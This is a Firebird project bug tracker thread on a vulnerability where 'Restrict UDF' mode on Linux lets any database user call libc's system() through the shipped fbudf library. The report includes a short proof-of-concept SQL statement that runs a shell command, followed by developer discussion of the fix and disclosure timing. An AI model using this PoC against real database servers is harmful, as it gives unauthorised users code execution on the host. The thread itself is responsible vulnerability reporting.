'Restrict UDF' is not effective, because fbudf.so is dynamically linked against libc [CORE5474]

[firebird-automations]

Submitted by: George Noseevich (webpentest)

The default setting for UDF access when installing firebird 2.5.6 on linux is 'UdfAccess = Restrict UDF', which allows access to any symbols defined in udf libraries shipped with firebird within UDF folder. There are two libraries there - http://fbudf.so and ib_udf.so. Both of them are dynamically linked with libc:

ldd /opt/firebird/UDF/fbudf.so
linux-vdso.so.1 (0x00007fff4e129000)
libm.so.6 => /usr/lib/libm.so.6 (0x00007f38b1389000)
libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007f38b116c000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f38b0dce000)
/usr/lib64/ld-linux-x86-64.so.2 (0x000055562c490000)

Any DB user can use this to escalate his privileges to code execution:

DECLARE EXTERNAL FUNCTION EXEC cstring\(4096\), integer RETURNS integer BY VALUE ENTRY\_POINT 'system' MODULE\_NAME 'fbudf' ;
select first 1 EXEC\('touch /tmp/proof'\) from some\_table;

If this is a design decision, this should be more clearly documented (current comments in firebird.conf suggest that 'restricted' UDF provides some additional protection as opposed to None). If not, this should probably be fixed by statically linking all that is needed by this .so files and double-checking that the exports table is fine.

I also think it is a good idea to provide some level of additional access control for external functions. I.e. only SYSDBA or selected users can declare/alter/drop external functions.

PS: I am restricting access to the issue as this is, from my viewpoint, a security vulnerabilty and the POC is included. I did mention this on twitter (quite carelessly) before I understood that it applies to all users, not just SYSDBA, but without a POC. Anyway, this bypass is so simple, that it is probably already widely known among people who hack things.

PPS. Didn't have time to test this on FB 3 or on Windows.

Commits: 761a8f8 292321b a802126 fc5d600 9d9b9e0 56e9a73 8b2a9cb

[firebird-automations]

Modified by: George Noseevich (webpentest)

description: The default setting for UDF access when installing firebird 2.5.6 on linux is 'UdfAccess = Restrict UDF', which allows access to any symbols defined in udf libraries shipped with firebird within UDF folder. There are two libraries there - http://fbudf.so and ib_udf.so. Both of them are dynamically linked with libc:

ldd /opt/firebird/UDF/fbudf.so
linux-vdso.so.1 (0x00007fff4e129000)
libm.so.6 => /usr/lib/libm.so.6 (0x00007f38b1389000)
libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007f38b116c000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f38b0dce000)
/usr/lib64/ld-linux-x86-64.so.2 (0x000055562c490000)

Any DB user can use this to escalate his privileges to code execution:

DECLARE EXTERNAL FUNCTION EXEC cstring\(4096\), integer RETURNS integer BY VALUE ENTRY\_POINT 'system' MODULE\_NAME '<http://fbudf.so>' ;
select first 1 EXEC\('touch /tmp/proof'\) from some\_table;

If this is a design decision, this should be more clearly documented (current comments in firebird.conf suggest that 'restricted' UDF provides some additional protection as opposed to None). If not, this should probably be fixed by statically linking all that is needed by this .so files and double-checking that the exports table is fine.

I also think it is a good idea to provide some level of additional access control for external functions. I.e. only SYSDBA or selected users can declare/alter/drop external functions.

PS: I am restricting access to the issue as this is, from my viewpoint, a security vulnerabilty and the POC is included. I did mention this on twitter (quite carelessly) before I understood that it applies to all users, not just SYSDBA, but without a POC. Anyway, this bypass is so simple, that it is probably already widely known among people who hack things.

PPS. Didn't have time to test this on FB 3 or on Windows.

=>

The default setting for UDF access when installing firebird 2.5.6 on linux is 'UdfAccess = Restrict UDF', which allows access to any symbols defined in udf libraries shipped with firebird within UDF folder. There are two libraries there - http://fbudf.so and ib_udf.so. Both of them are dynamically linked with libc:

ldd /opt/firebird/UDF/fbudf.so
linux-vdso.so.1 (0x00007fff4e129000)
libm.so.6 => /usr/lib/libm.so.6 (0x00007f38b1389000)
libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007f38b116c000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f38b0dce000)
/usr/lib64/ld-linux-x86-64.so.2 (0x000055562c490000)

Any DB user can use this to escalate his privileges to code execution:

DECLARE EXTERNAL FUNCTION EXEC cstring\(4096\), integer RETURNS integer BY VALUE ENTRY\_POINT 'system' MODULE\_NAME 'fbudf' ;
select first 1 EXEC\('touch /tmp/proof'\) from some\_table;

If this is a design decision, this should be more clearly documented (current comments in firebird.conf suggest that 'restricted' UDF provides some additional protection as opposed to None). If not, this should probably be fixed by statically linking all that is needed by this .so files and double-checking that the exports table is fine.

I also think it is a good idea to provide some level of additional access control for external functions. I.e. only SYSDBA or selected users can declare/alter/drop external functions.

PS: I am restricting access to the issue as this is, from my viewpoint, a security vulnerabilty and the POC is included. I did mention this on twitter (quite carelessly) before I understood that it applies to all users, not just SYSDBA, but without a POC. Anyway, this bypass is so simple, that it is probably already widely known among people who hack things.

PPS. Didn't have time to test this on FB 3 or on Windows.

[firebird-automations]

Commented by: @asfernandes

What a bug!

It seems some OSs have RTLD_FIRST to restrict lookups for only the passed library, but glibc does not have it.

Should it be checked with dladdr after dlsym? But dladdr is also a function that is not always present.

[firebird-automations]

Commented by: George Noseevich (webpentest)

It may also be possible to use dlinfo to list all the symbols and then disallow anything other than that, though I have no idea how portable this solution is.

[firebird-automations]

Modified by: @asfernandes

priority: Major [ 3 ] => Critical [ 2 ]

[firebird-automations]

Commented by: @asfernandes

Well, dlinfo is also a GNU extension, as well dladdr which is easy to use.

[firebird-automations]

Modified by: @AlexPeshkoff

assignee: Alexander Peshkov [ alexpeshkoff ]

[firebird-automations]

Commented by: @AlexPeshkoff

Dladdr is defintely preferred. Unlike dlinfo it's present de-facto on most of supported by us platforms.

[firebird-automations]

Modified by: @AlexPeshkoff

status: Open [ 1 ] => Resolved [ 5 ]

resolution: Fixed [ 1 ]

Fix Version: 2.5.7 [ 10770 ]

Fix Version: 3.0.2 [ 10785 ]

Fix Version: 4.0 Alpha 1 [ 10731 ]

[firebird-automations]

Commented by: @mkubecek

How carefully should this be handled? Is it OK to provide updated distribution packages with the fix (without sharing any information about the abuse mechanism beyond what is mentioned in the commit message)?

[firebird-automations]

Commented by: @AlexPeshkoff

Previously we released packages and mentioned that they fix severe vulnerability. Details were disclosed approximately a month after it to let people update without great hurry.

[firebird-automations]

Commented by: George Noseevich (webpentest)

TWIMC: I've tested this on windows (using fb 2.1 with win 2003, because that's what I needed) and this 'dll chaining' does not seem to work there. So the scope might be limited to *nix only.

[firebird-automations]

Commented by: George Noseevich (webpentest)

I've also noticed that it is (still) possible to use 'internal' C++ symbols from http://fbudf.so, like Firebird::NoThrowTimeStamp::decode_timestamp (_ZN8Firebird16NoThrowTimeStamp16decode_timestampE13ISC_TIMESTAMPP2tmPi). May it be possible to use these to corrupt/manipulate memory in some unexpected ways? Is there a real need to make these symbols accessible in UDFs?

[firebird-automations]

Commented by: @dyemanov

> I also think it is a good idea to provide some level of additional access control for external functions. I.e. only SYSDBA or selected users can declare/alter/drop external functions.
Just for the record, it's already done in FB3.

[firebird-automations]

Commented by: @AlexPeshkoff

> May it be possible to use these to corrupt/manipulate memory in some unexpected ways?

Certainly possible. Moreover, it's very easy to corrupt something just passing invalid (i.e. unexpected by C code) parameters to absolutely valid entrypoints. The point of this issue is to avoid calling functions from underlying libraries, is not it so?

[firebird-automations]

Commented by: George Noseevich (webpentest)

>> The point of this issue is to avoid calling functions from underlying libraries, is not it so?
Absolutely.
I was just wondering about other possible ways to use the default UDF functionality to escalate DBA to code exec and possible mitigations.